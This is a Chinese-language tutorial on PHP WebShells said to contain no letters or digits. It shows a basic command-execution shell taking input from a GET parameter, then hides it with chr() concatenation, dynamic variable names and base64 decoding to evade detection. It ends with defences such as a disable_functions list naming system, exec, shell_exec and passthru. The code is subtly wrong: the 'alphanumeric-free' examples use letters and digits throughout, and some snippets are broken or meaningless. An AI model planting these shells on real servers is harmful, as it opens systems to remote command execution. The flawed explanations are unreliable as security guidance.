在Web安全領域,WebShell是一種常見的攻擊手段,通過它攻擊者可以遠程執行服務器上的命令,獲取敏感信息或控制系統。而無字母數字WebShell則是其中一種特殊形式,通過避免使用字母和數字字符,來繞過某些安全機制的檢測。
一、無字母數字WebShell的基本原理
無字母數字WebShell利用了PHP等腳本語言的靈活性,通過將字符轉換函數(如?chr()
)、字符串連接符(如?.
),或其他字符操作方法來構建出命令,進而避免直接使用字母和數字。
例如,通常的WebShell可能包含類似如下的代碼:
<?php echo system($_GET['cmd']); ?>
而無字母數字WebShell則會通過一些字符操作,將上述代碼進行轉換。例如,可以通過?chr()
函數將每個字母的ASCII值轉換為字符:
<?php echo system(chr(99).chr(109).chr(100)); ?>
這段代碼中,chr(99)
表示字符?c
,chr(109)
表示字符?m
,chr(100)
表示字符?d
,最終構成?cmd
命令。
二、實現無字母數字WebShell
-
基礎命令生成:
使用?chr()
函數生成命令,如生成?"ls"
命令:$cmd = chr(108) . chr(115); // 'l' = chr(108), 's' = chr(115) echo system($cmd);
-
字符拼接與執行:
PHP中可以通過字符串拼接和函數調用的方式避免使用字母:$f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $cmd = chr(108).chr(115); $f($cmd);
這段代碼通過將字符的ASCII值轉為字符,拼接得到?
system
和?ls
命令,然后調用?system
執行?ls
。 -
無字母執行Shell命令:
完整的無字母數字WebShell可以通過將這些技術組合來執行任意命令。例如:$a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $b = chr(99).chr(104).chr(114); $c = chr(40).chr(41); // () $cmd = $b.$c.chr(108).chr(115); // chr(99).chr(104).chr(114).chr(40).chr(41).'ls' $a($cmd);
該代碼拼接出命令?
chr(ls)
,并利用?system
函數執行。
三、規避檢測的高級技巧
-
動態變量名:
通過動態生成的變量名進一步混淆WebShell:${chr(102).chr(117).chr(110)} = 'system'; ${chr(99).chr(104).chr(114)} = 'ls'; ${${chr(102).chr(117).chr(110)}}(${${chr(99).chr(104).chr(114)}}());
這種方法將變量名和函數名都通過?
chr()
生成,進一步規避靜態檢測。 -
編碼與解碼:
將命令編碼為Base64等格式,并在執行前解碼:$cmd = base64_decode('bHM='); // 'bHM=' is base64 for 'ls' system($cmd);
通過Base64編碼后再解碼執行,增加了WebShell的隱蔽性。
四、防御措施
盡管無字母數字WebShell通過繞過傳統字符的方式來執行命令,但仍有多種防御手段可以提高系統的安全性:
-
禁用危險函數:在PHP配置中禁用?
system
、exec
等函數,防止命令執行。disable_functions = system, exec, shell_exec, passthru ?
-
使用WAF:部署Web應用防火墻(WAF),對請求進行深度檢測和過濾,識別并阻斷惡意Payload。
-
日志監控與分析:對Web服務器日志進行實時監控,檢測異常請求或命令執行痕跡。
-
最小化權限:限制Web服務器用戶的權限,確保即使WebShell被利用,攻擊者也無法獲得高權限執行命令。
五、總結
無字母數字WebShell是一種利用PHP等語言靈活特性的攻擊手段,攻擊者通過字符轉換和編碼技術繞過安全機制,執行惡意命令。然而,通過合理的防御措施,如禁用危險函數、使用WAF等,可以有效減少這種攻擊帶來的風險。在實踐中,系統管理員應結合多種手段,提高服務器的安全性。